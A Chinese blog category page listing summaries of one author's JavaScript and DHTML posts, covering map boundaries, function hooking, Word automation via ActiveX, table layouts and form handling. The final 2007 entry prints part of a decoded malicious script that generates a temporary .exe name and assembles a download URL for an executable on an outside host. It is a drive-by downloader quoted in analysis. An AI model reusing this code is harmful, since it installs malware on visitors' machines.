随笔分类 -  DHTML,JS

摘要:获取谷歌地图的行政区边界,演示地址:http://gist.hecmcc.com/division/getbounds.htm 原理: 1.从百度取行政区边界。 2.从百度坐标转化为GPS坐标。(基于百度API,0.1精度) 3.从GPS坐标转化为火星坐标。(基于网传0.1数据库插值) 注:坐标转化全部采用插值法。 阅读全文
posted @ 2013-10-22 09:08 阿牛 阅读(16781) 评论(2) 推荐(0) 编辑
摘要:javascript string.format //使用方法 alert("name:{0}, sex:{1}".format("sss", "''(){'")); alert("{0}, sex:{1}".format("sss", "''(){'")); 阅读全文
posted @ 2012-03-27 08:52 阿牛 阅读(277) 评论(0) 推荐(0) 编辑
摘要:http://files.cnblogs.com/evlon/webbrowser.7z 阅读全文
posted @ 2010-07-13 16:21 阿牛 阅读(470) 评论(0) 推荐(0) 编辑
摘要: 首先在所选的数据库上右键,任务,生成脚本。生成过程中,注意选择目标数据库为SQL Server2000. 第二,这个脚本是不能在SQL2000的查询分析器中使用的,通过如下的Emeditor宏来转换吧: 阅读全文
posted @ 2010-01-10 13:48 阿牛 阅读(1053) 评论(0) 推荐(0) 编辑
摘要:在公文升级方案中, 因为使用了新模板, 我需要在原来系统执行某几个函数之前, 做一些检查,如果成立则执行原有函数,否则执行我的新逻辑,然后再依情况决定是不是执行原函数。 我们知道,Javascript中函数有静态函数、成员函数和实例化对象的成员函数之分,这些函数的实现存在正常函数和匿名函数的区分。所以在我们Hook成员时,我们要对这些情况兼而顾之。 要实现这样的东西,我们需要知道修改某一处的函数引用,对于这样的全局函数,我们知道它的所属对象是 window。如果对于类的成员函数,则应该是类.prototype.funName,对于实例的成员,我们可以通过在实例上添加函数来重写方法。 首先我们这个函数是所有函数的方法,所以它必须在 Function.prototyp 上添加一个新的函数Hook, 它的逻辑应该是首先查找函数的名称,如果得到了,则直接改写在指定对象上的函数实现。但如果这个函数是匿名函数,我们需要查找这个对象的所有属性,看哪个属性和这个函数相等,如果有一个,则取出第一个相等的进行Hook。当然,如果Hook时明确指定了属性,则找到这个属性进行Hook。 阅读全文
posted @ 2009-12-15 15:37 阿牛 阅读(1996) 评论(0) 推荐(1) 编辑
摘要:代码Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-- 1 <script type="text/javascript"> 2 3 var wordApp = new ActiveXObject("word.application"); ... 阅读全文
posted @ 2009-12-01 13:38 阿牛 阅读(740) 评论(0) 推荐(0) 编辑
摘要:[代码]代码下载:http://files.cnblogs.com/evlon/word_test_20091127.zip 阅读全文
posted @ 2009-11-27 11:27 阿牛 阅读(593) 评论(0) 推荐(0) 编辑
摘要:  原来一直以为call和apply只是传递参数的形式不同:call使用参数列表,apply使用参数数组。但在跨窗口使用时,发现函数其中在 new 时,会传递上下文到函数中。于是函数实例也便有了上下文。   在我的这个测试中,也发现了 call 和 apply 的区别:call可以跨窗口调用传参调用函数,apply跨窗口调用有参数函数时出错。下面是测试,打开父窗口时,使用window.open打开一个子窗口,然后在子窗口中调用父窗口的函数以及对象: 阅读全文
posted @ 2009-10-29 12:45 阿牛 阅读(460) 评论(0) 推荐(0) 编辑
摘要:  在表格中,不需要分页但需要滚动TBody的场合蛮多的,以前做过一个通过两个表格来实现:用JQuery实现Fix表头表格 ,今天突然想到,可以单独做一个滚动条,让滚动条的位置变化时,只显示TBody中指定范围的TR来实现滚动,便有了下面的实现,可以在IE/FF下运行,在滚动条上滚动鼠标轮时可以实现TBody滚动。这是一个思路,希望能抛砖引玉。 阅读全文
posted @ 2009-09-23 13:44 阿牛 阅读(15187) 评论(13) 推荐(0) 编辑
摘要: 由于项目中引入了JQuery,不方便再引用YUI。所以依照 Session variables without cookies 原理,直接用JQuery实现如下: 场景:主页面 (emo_windowname.html)一个IFrame(framePreview),在页面加载或者单击按钮时,让IFrame加载一个页面(http://...../正文.html). 条件:正文.html 预告加入脚本,或者使用HttpModule加入脚本: Code $(function(){ window.name = document.body.scrollHeight; }); 这样,在主页面中,就可以通过window.name把高度取过来,然后设置一下 framePreview的高度。 阅读全文
posted @ 2009-06-16 16:07 阿牛 阅读(4835) 评论(12) 推荐(0) 编辑
摘要:  我的技术要点:   1、用两个表,其中一个是表头,另一个是表格做表体   2、两个表格使用相同的百分比宽度   3、在IE下,如果列溢出,则采用 ... 来表示溢出,FF下自动隐藏   4、采用JQuery,把表头的列宽,设置到表体第一列。   5、在窗体大小改变时,自动设置表头的容器宽度为表体的宽度。   不复杂,代码如下: 阅读全文
posted @ 2009-06-12 16:54 阿牛 阅读(1925) 评论(3) 推荐(0) 编辑
摘要: 网上很多地方介绍了如何用SharePoint.OpenDocument打开基于WebDAV协议的Word文档,可是打开后,如果对文档进行一些设置操作,却苦于没有Word对象。 我这里实现了得到Word.Application对象,可以进行设置文档域一类的操作了。 可是,我本来想得到文档的保存事件并激活我的处理函数,目前这里卡住了,貌似没有出路。 阅读全文
posted @ 2009-06-02 17:54 阿牛 阅读(1694) 评论(0) 推荐(0) 编辑
摘要: 在网速慢或者网站反应慢的情况下,如果提交表单需要超过5秒的时间还未提交成功,多数人会重新点击提交。这样不仅造成错误的数据,还会加剧服务器的压力。 通过使用HttpModule,我们可以在表单处理前,检测一些标志,从而防止用户重复提交数据,再通过一些接口,让用户自己来处理重复提交时,应该如何告诉用户。 通过使用HttpModule,我们也可以在客户端表单提交时,使用DIV覆盖住表单,从UI层防止用户再次单击提交(用户直接F5管不了)。 下面是实现代码: 阅读全文
posted @ 2009-05-21 17:41 阿牛 阅读(4593) 评论(20) 推荐(0) 编辑
摘要:一个类似QQ的分组菜单 支持初始化时自动打开指定的菜单项 IE下测试通过. 阅读全文
posted @ 2009-04-22 17:52 阿牛 阅读(1222) 评论(3) 推荐(0) 编辑
摘要:出于看XML文件的需要,写了这个工具,本来是用在Ededitor编辑器中,当成宏来用的。 阅读全文
posted @ 2009-01-09 09:10 阿牛 阅读(1390) 评论(1) 推荐(0) 编辑
摘要:如果非要用CustomValidator+WebService+asp.net ajax进行验证,这里给出也一个实现的方法。还贴出了一个常规的做法! 阅读全文
posted @ 2008-12-09 16:25 阿牛 阅读(1171) 评论(0) 推荐(0) 编辑
摘要:由于采用Ajax.Net技术,要求客户不能用浏览器的后退来导航,因为这样会产生不正确的页面.因为有时,结果是Ajax查询返回的,不会保存住. JQuery是一个好东西,可以很方便的给每个 <A> 加上事件,来重写它的默认的跳转,我们把它改成单击时,调用Location.replace来完成页面切换. 代码如下: Code Code highlighting produced by Actip... 阅读全文
posted @ 2008-12-02 15:11 阿牛 阅读(693) 评论(0) 推荐(0) 编辑
摘要:要实现一个类似框架结构,有头有尾,中间部分要分菜单、分隔条和内容三部分。 写好的效果图如下: 阅读全文
posted @ 2008-11-22 13:25 阿牛 阅读(956) 评论(0) 推荐(0) 编辑
摘要:[代码]http://files.cnblogs.com/evlon/EvlonTab.rar 阅读全文
posted @ 2008-03-04 09:04 阿牛 阅读(1825) 评论(1) 推荐(0) 编辑
摘要:文件: http://xxxx.xxx.xxx/web.htm 通过解码后: function gn(n) { var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe'; } try { var mm1="http:";mm2="//";mm3="www.55dj.net/xy.exe";dl=mm1+mm2+mm... 阅读全文
posted @ 2007-08-12 20:40 阿牛 阅读(782) 评论(1) 推荐(0) 编辑